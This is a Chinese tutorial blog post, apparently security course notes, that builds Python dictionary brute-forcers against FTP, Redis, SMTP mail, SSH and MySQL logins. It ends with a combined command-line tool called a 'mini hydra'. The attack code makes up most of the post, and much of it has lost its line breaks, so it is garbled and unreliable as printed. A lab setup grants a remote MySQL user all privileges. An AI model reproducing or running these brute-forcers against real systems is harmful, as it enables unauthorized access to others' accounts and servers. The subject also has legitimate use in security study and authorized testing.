第159天:安全开发-Python-协议库爆破FTPSSHRedisSMTPMYSQL等

目录

案例一:  Python-文件传输爆破-ftplib 库操作 ftp 协议

​案例二: Python-数据库爆破-redis 库操作redis 协议

案例三:Python-邮件爆破-smtplib 库操作 smtp 协议

案例四:Python-登录爆破-paramiko库操作ssh协议

案例五: Python-数据库爆破-pymysql 库操作 mysql 协议

案例六: python-爆破整合-小型hydra


案例一:  Python-文件传输爆破-ftplib 库操作 ftp 协议

开一个ftp

利用ftp正确登录与失败登录都会有不同的回显

使用ftplib库进行测试

from ftplib import FTP  
# FTP服务器地址  
ftp_server = '192.168.172.132'  
# FTP服务器端口(默认为21)  
ftp_port = 21
# FTP登录用户名  
ftp_user = 'root'  
# FTP登录密码  
ftp_pass = '123.comm'
ftp = FTP()
ftp.connect(ftp_server,ftp_port)
ftp.login(ftp_user,ftp_pass)

成功

失败

在此基础之上加上字典进行循环就能爆破出来密码

爆破ftp账号密码的程序

from ftplib import FTP
def ftp_check(ip,port,username,password):ftp = FTP()ftp.connect(ip,port)try:ftp.login(username,password)print(username+"|"+password+"-->success")exit()except Exception as e:print(username+"|"+password+"-->failed")if __name__ == '__main__':ip = input("please input ip:")port = int(input("please input port:"))with open('.\\conf\\dic_username_ftp.txt', 'r') as file:  names = file.readlines()  for name in names:name = name.replace("\n","")with open('.\\conf\\dic_password_ftp.txt', 'r') as file:  passwords = file.readlines()  for password in passwords:password = password.replace("\n","")ftp_check(ip,port,name,password)

运行结果

如果觉得输出太过繁琐,可以不输出失败的结果 

案例二: Python-数据库爆破-redis 库操作redis 协议

开启redis:端口为6379

配置密码

尝试连接,redis没有账号这一说法,都是用密码连接就ok

连接成功之后可以设置变量,可以利用这一点如果没有连接的话会报错

因为普通连接就算连接不成功他也不会报错

爆破程序

import redis
def redis_check(ip,password):try:conn=redis.Redis(host=ip, port=6379, password=password, db=0)conn.set("test","123")print(password+"-->success")conn.delete("test")exit()except Exception as e:print(password+"-->failed")if __name__ == "__main__":ip = input("please input ip:")with open(".\\conf\\dic_password_redis.txt","r") as file:passwords = file.readlines()for password in passwords:password = password.replace("\n","")redis_check(ip,password)

运行结果

案例三:Python-邮件爆破-smtplib 库操作 smtp 协议

smtp调用库smtplib,smtp邮件可以利用授权码代替密码进行登录

需要根据后缀来进行判断是什么邮箱

代码,登录失败会报错

import smtplibdef email_check(email,password):smtp_split = email.split("@")[1]smtp_server = 'smtp.'+smtp_split#print(smtp_server)smtp_port = 25try:smtp_conn = smtplib.SMTP()smtp_conn.connect(smtp_server, 25)  # 25 为 SMTP 端口号smtp_conn.login(email, password)print("password is "+password+' --> ok')exit()except Exception as e:pass#print("error")if __name__ == "__main__":email = input("please input your eamil:")with open(".\\conf\\dic_password_email.txt","r") as file:passwords = file.readlines()for password in passwords:password = password.replace("\n","")email_check(email,password)

运行结果

案例四:Python-登录爆破-paramiko库操作ssh协议

ssh连接调用paramiko库

import paramiko
# 创建SSH客户端
client = paramiko.SSHClient()
# 自动添加主机名和密钥到本地的known_hosts文件
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
# 连接到远程主机
client.connect('远程主机IP',"port" username='用户名', password='密码')

连接成功不会报错

失败报错

代码,端口为连接的第二个参数,默认为22

import paramiko,timedef ssh_check(ip,username,password):print(username + "  |  "+password +"")client = paramiko.SSHClient()client.set_missing_host_key_policy(paramiko.AutoAddPolicy())try:client.connect(ip,username=username, password=password)print(username + "  |  "+password +"--> success")exit()except Exception as e:passtime.sleep(1)if __name__ == '__main__':ip = input("please input ip:")with open('.\\conf\\dic_username_ssh.txt', 'r') as file:  names = file.readlines()  for name in names:name = name.replace("\n","")with open('.\\conf\\dic_password_ssh.txt', 'r') as file:  passwords = file.readlines()  for password in passwords:password = password.replace("\n","")ssh_check(ip,name,password)

运行结果

案例五: Python-数据库爆破-pymysql 库操作 mysql 协议

 创建一个允许远程登陆的用户jie 123.com

CREATE USER 'jie'@'%' IDENTIFIED BY '123.com';
GRANT ALL PRIVILEGES ON *.* TO 'jie'@'%';
FLUSH PRIVILEGES;

能够成功连接

 建立mysql连接

import mysql.connector
# pip install mysql-connector-python 安装这个库
# 创建数据库连接
db = mysql.connector.connect(host="192.168.172.132",  # MySQL服务器地址port=3306,user="jie",   # 用户名password="123.comm",  # 密码database="mysql"  # 数据库名称
)

安装相关库

错误连接会报错

在此基础之上写爆破mysql

import mysql.connectordef mysql_check(ip,port,username,password):try:db = mysql.connector.connect(host=ip,  # MySQL服务器地址port=port,user=username,   # 用户名password=password,  # 密码database="mysql"  # 数据库名称)print(username + " | " +password + "-->  success")exit()except Exception as e:pass
if __name__ == '__main__':ip = input("please input ip:")port = int(input("please input port:"))with open('.\\conf\\dic_username_ftp.txt', 'r') as file:  names = file.readlines()  for name in names:name = name.replace("\n","")with open('.\\conf\\dic_password_ftp.txt', 'r') as file:  passwords = file.readlines()  for password in passwords:password = password.replace("\n","")mysql_check(ip,port,name,password)

运行结果

案例六: python-爆破整合-小型hydra

如果再命令行以 python  xx.py 123456这种后面带参数的方式输入需要引入sys库,利用sys.argv[1]

可以把变量设置在文件后面,如下图所示

代码,大部分功能已经实现,就是自定义字典的时候,不足5个参数的时候,必须有数字占位,否则,不能自动判断,多少参数,不然会报错

from ftplib import FTP
import paramiko,time
import mysql.connector
import smtplib
import redis
import sysdef ftp_check(ip,port,username,password):ftp = FTP()ftp.connect(ip,port)try:ftp.login(username,password)print(username+"|"+password+"-->success")exit()except Exception as e:pass#print(username+"|"+password+"-->failed")def ssh_check(ip,username,password):print(username + "  |  "+password +"")client = paramiko.SSHClient()client.set_missing_host_key_policy(paramiko.AutoAddPolicy())try:client.connect(ip,username=username, password=password)print(username + "  |  "+password +"--> success")exit()except Exception as e:passtime.sleep(1)def mysql_check(ip,port,username,password):try:db = mysql.connector.connect(host=ip,  # MySQL服务器地址port=port,user=username,   # 用户名password=password,  # 密码database="mysql"  # 数据库名称)print(username + " | " +password + "-->  success")exit()except Exception as e:passdef email_check(email,password):smtp_split = email.split("@")[1]smtp_server = 'smtp.'+smtp_splitsmtp_port = 25try:smtp_conn = smtplib.SMTP()smtp_conn.connect(smtp_server, 25)  # 25 为 SMTP 端口号smtp_conn.login(email, password)print("password is "+password+' --> ok')exit()except Exception as e:pass#print("error")def redis_check(ip,password):try:conn=redis.Redis(host=ip, port=6379, password=password, db=0)conn.set("test","123")print(password+"-->success")conn.delete("test")exit()except Exception as e:passif __name__ == "__main__":if len(sys.argv) <= 2:print('eg:固定字典使用说明:')print('python hydra.py ftp ip port')print('python hydra.py ssh ip')print('python hydra.py redis ip')print('python hydra.py mysql ip port')print('python hydra.py email xxxx@qq.com')print('eg:自定义字典使用说明:')print('python hydra.py ftp ip port user.txt pass.txt')print('python hydra.py ssh ip port user.txt pass.txt')print('python hydra.py redis ip 1 2 pass.txt')print('python hydra.py mysql ip port user.txt pass.txt')print('python hydra.py email xx@qq.com 2 3 pass.txt')if len(sys.argv) > 2:xy=sys.argv[1]ip=sys.argv[2]if len(sys.argv) > 3:port = sys.argv[3]port = int(port)if len(sys.argv) >= 5:usertxt=sys.argv[4]passtxt=sys.argv[5]try:if usertxt is not None:if xy=="ftp" :with open(usertxt, 'r') as file:  names = file.readlines()for name in names:name = name.replace("\n","")print(name)with open(passtxt, 'r') as file:  passwords = file.readlines()  for password in passwords:password = password.replace("\n","")ftp_check(ip,port,name,password)elif xy=="ssh":with open(usertxt, 'r') as file:  names = file.readlines()  for name in names:name = name.replace("\n","")with open(passtxt, 'r') as file:  passwords = file.readlines()  for password in passwords:password = password.replace("\n","")ssh_check(ip,name,password)elif xy=="redis":with open(passtxt,"r") as file:passwords = file.readlines()for password in passwords:password = password.replace("\n","")redis_check(ip,password)elif xy=="mysql":with open(usertxt, 'r') as file:  names = file.readlines()  for name in names:name = name.replace("\n","")print(name)with open(passtxt, 'r') as file:  passwords = file.readlines()  for password in passwords:password = password.replace("\n","")mysql_check(ip,port,name,password)elif xy=="email":email = ipprint(email)with open(passtxt,"r") as file:passwords = file.readlines()for password in passwords:password = password.replace("\n","")email_check(email,password)except Exception as e:try:if xy=="ftp" :with open('.\\conf\\dic_username_ftp.txt', 'r') as file:  names = file.readlines()  for name in names:name = name.replace("\n","")with open('.\\conf\\dic_password_ftp.txt', 'r') as file:  passwords = file.readlines()  for password in passwords:password = password.replace("\n","")ftp_check(ip,port,name,password)elif xy=="ssh":with open('.\\conf\\dic_username_ssh.txt', 'r') as file:  names = file.readlines()  for name in names:name = name.replace("\n","")with open('.\\conf\\dic_password_ssh.txt', 'r') as file:  passwords = file.readlines()  for password in passwords:password = password.replace("\n","")ssh_check(ip,name,password)elif xy=="redis":with open(".\\conf\\dic_password_redis.txt","r") as file:passwords = file.readlines()for password in passwords:password = password.replace("\n","")redis_check(ip,password)elif xy=="mysql":with open('.\\conf\\dic_username_ftp.txt', 'r') as file:  names = file.readlines()  for name in names:name = name.replace("\n","")with open('.\\conf\\dic_password_ftp.txt', 'r') as file:  passwords = file.readlines()  for password in passwords:password = password.replace("\n","")mysql_check(ip,3306,name,password)elif xy=="email":email = ipprint(email)with open(".\\conf\\dic_password_email.txt","r") as file:passwords = file.readlines()for password in passwords:password = password.replace("\n","")email_check(email,password)except Exception as e:pass

运行结果

不输入参数进行提示

无自定义字典ftp爆破

无自定义字典ssh爆破

无自定义字典redis爆破

无自定义字典mysql爆破

无自定义字典邮箱爆破

 自定义字典ftp爆破

自定义字典ssh爆破,这里我设置默认为22端口,用1做数字接收占位,无实质作用,可修改为更改端口

自定义字典爆破redis

自定义字典mysql爆破

自定义字典邮箱爆破

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/53520.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Web 服务器介绍 | 通过 Tomcat 说明其作用

1. 什么是 Web 服务器&#xff1f; Web服务器是一种用于存储、处理和提供网页或Web应用程序的服务器。它通过HTTP&#xff08;超文本传输协议&#xff09;与客户端&#xff08;通常是浏览器&#xff09;进行通信&#xff0c;接收客户端的请求&#xff08;如网页请求&#xff0…

【RPA私教课:UIPath】RPA 赋能科技企业,登录时验证码自动截取

在某科技型企业里&#xff0c;专门设置了一个验证码接收系统。每当用户进行登录操作时&#xff0c;都必须从这个系统中抓取最新的登录验证码&#xff0c;以确保登录的安全性。 具体需求如下&#xff1a; 客户会预先在表格中妥善保存众多的账户和密码。当 RPA 机器人在业务系统…

Vue使用axios实现Ajax请求

1、什么是 axios 在实际开发过程中&#xff0c;浏览器通常需要和服务器端进行数据交互。而 Vue.js 并未提供与服务器端通信的接口。从 Vue.js 2.0 版本之后&#xff0c;官方推荐使用 axios 来实现 Ajax 请求。axios 是一个基于 promise 的 HTTP 客户端。 关于 promise 的详细介…

从零开始讲DDR(3)——DDRC与DDRPYH

一、DDR的使用 在之前的文章中我们介绍了DDR的基本概念&#xff0c;但是DDR内存的操作不仅仅是简单的数据读取和写入&#xff0c;它包括许多时序要求和信号调度。为了让DDR内存有效运作&#xff0c;系统需要在逻辑层和物理层之间进行大量的协作。我们拿出一张DDR的操作简化状态…

rfid超高频手持移动终端的性能特点

超高频手持移动终端的工作频率范围通常在860 MHz至960 MHz之间&#xff0c;具体频段根据不同的地区和国家有所不同&#xff0c;下面我们就一起来了解一下&#xff0c;超高频手持移动终端的性能特点。 超高频手持移动终端的性能特点 高效率与高速度&#xff1a;超高频手持移动…

付费计量应用过程(Payment Metering Application process)

The Payment Metering Application process is the combination of the business and support processes as the resultant interactions between the business and support functions, which thus describes the dynamic behavior of the system as a whole. 付费计量…

C++ std::any升级为SafeAny

std::any测试 #include <any>class A { public:int8_t a; };int main(int argc, char* argv[]) {std::any num((int8_t)42);auto a std::any_cast<A>(num);return 0; }异常&#xff1a; 0x00007FFA9385CD29 处(位于 test.exe 中)有未经处理的异常: Microsoft C 异…

Unity中Rigidbody 刚体组件和Rigidbody类是什么?

Rigidbody 刚体组件 Rigidbody 是 Unity 中的一个组件&#xff0c;它可以让你的游戏对象像真实世界中的物体一样移动和碰撞。想象一下&#xff0c;你有一个小球&#xff0c;你希望它像真实世界中的球一样滚动、弹跳和碰撞&#xff0c;那么你就可以给这个小球添加一个 Rigidbod…

国产SSL证书品牌怎么选择?

有人在歪曲大型央国企“信创化”与数字化转型建设思路&#xff0c;为了自身的利益开始造谣一些虚假传播信息国外SSL证书不安全问题&#xff0c;然而国外的SSL证书每个上网用户都在使用&#xff0c;然而发布虚假广告的一些人实际上是换了个马甲贴个名字就叫国产SSL证书了&#x…

【农信网-注册/登录安全分析报告】

前言 由于网站注册入口容易被黑客攻击&#xff0c;存在如下安全问题&#xff1a; 暴力破解密码&#xff0c;造成用户信息泄露短信盗刷的安全问题&#xff0c;影响业务及导致用户投诉带来经济损失&#xff0c;尤其是后付费客户&#xff0c;风险巨大&#xff0c;造成亏损无底洞…

无线安全(WiFi)

免责声明:本文仅做分享!!! 目录 WEP简介 WPA简介 安全类型 密钥交换 PMK PTK 4次握手 WPA攻击原理 网卡选购 攻击姿态 1-暴力破解 脚本工具 字典 2-Airgeddon 破解 3-KRACK漏洞 4-Rough AP 攻击 5-wifi钓鱼 6-wifite 其他 WEP简介 WEP是WiredEquivalentPri…

反编译 AndroidManifest.xml文件-android反编译技术

一、安卓打包后目录 想要查看原来版本配置和关联信息&#xff0c;被打包了&#xff0c;这时候需要工具 AXMLPrinter2.jar 二、反编译环境要求 序号软件说明1java电脑得有java环境2AXMLPrinter2.jarapk中xml解析文件 三、反编译指令 java -jar AXMLPrinter2.jar "C:\Us…

【速成Redis】04 Redis 概念扫盲:事务、持久化、主从复制、哨兵模式

前言&#xff1a; 前三篇如下&#xff1a; 【速成Redis】01 Redis简介及windows上如何安装redis-CSDN博客 【速成Redis】02 Redis 五大基本数据类型常用命令-CSDN博客 【速成Redis】03 Redis 五大高级数据结构介绍及其常用命令 | 消息队列、地理空间、HyperLogLog、BitMap、…

【计算机组成原理】实验一:运算器输入锁存器数据写实验

目录 实验要求 实验目的 主要集成电路芯片及其逻辑功能 实验原理 实验内容及步骤 实验内容 思考题 实验要求 利用CP226实验箱上的K16&#xff5e;K23二进制拨动开关作为DBUS数据输入端&#xff0c;其它开关作为控制信号的输入端&#xff0c;将通过K16&#xff5e;K23设定…

C++速通LeetCode中等第3题-盛最多水的容器

双指针法&#xff1a;两个指针分别指向左右边界&#xff0c;记录最大面积&#xff0c;由于面积由短板决定&#xff0c;两个指针中较短的短指针向内移动一格&#xff0c;再次记录最大面积&#xff0c; 直到两指针相遇&#xff0c;得出答案。 class Solution { public:int maxAr…

安卓13设置动态修改设置显示版本号 版本号增加信息显示 android13增加序列号

总纲 android13 rom 开发总纲说明 文章目录 1.前言2.问题分析3.代码分析4.代码修改5.编译6.彩蛋1.前言 设置 =》关于平板电脑 =》版本号 在这里显示了系统的一些信息,但是这里面的信息并不包含序列号之类的信息,我们修改下系统设置,在这里增加上相关的序列号。 2.问题分析…

打造以太坊数据监控利器:InfluxDB与Grafana构建Geth可视化分析平台

前言 以太坊客户端收集大量数据&#xff0c;这些数据可以按时间顺序数据库的形式读取。为了简化监控&#xff0c;这些数据可以输入到数据可视化软件中。在此页面上&#xff0c;将配置 Geth 客户端以将数据推送到 InfluxDB 数据库&#xff0c;并使用 Grafana 来可视化数据。 一…

多比特AI事业部VP程伟光受邀为第四届中国项目经理大会演讲嘉宾

全国项目经理专业人士年度盛会 武汉市多比特信息科技有限公司AI事业部VP程伟光先生受邀为PMO评论主办的全国项目经理专业人士年度盛会——2024第四届中国项目经理大会演讲嘉宾&#xff0c;演讲议题为“AI对于项目经理工作的影响和变化解析”。大会将于10月26-27日在北京举办&am…

深度学习02-pytorch-04-张量的运算函数

在 PyTorch 中&#xff0c;张量&#xff08;tensor&#xff09;运算是核心操作之一&#xff0c;PyTorch 提供了丰富的函数来进行张量运算&#xff0c;包括数学运算、线性代数、索引操作等。以下是常见的张量运算函数及其用途&#xff1a; 1. 基本数学运算 加法运算&#xff1a…

计算机组成体系与组成结构错题解析【软考】

目录 前言进制转换码制补码 CPU的组成输入/输出技术中断相关概念输入/输出技术的三种方式比较周期相关知识 主存编址计算流水线技术层次化存储体系可靠性 前言 本文专门用来记录本人在做软考中有关计算机上组成体系与组成结构的错题&#xff0c;我始终认为教学相长是最快提高的…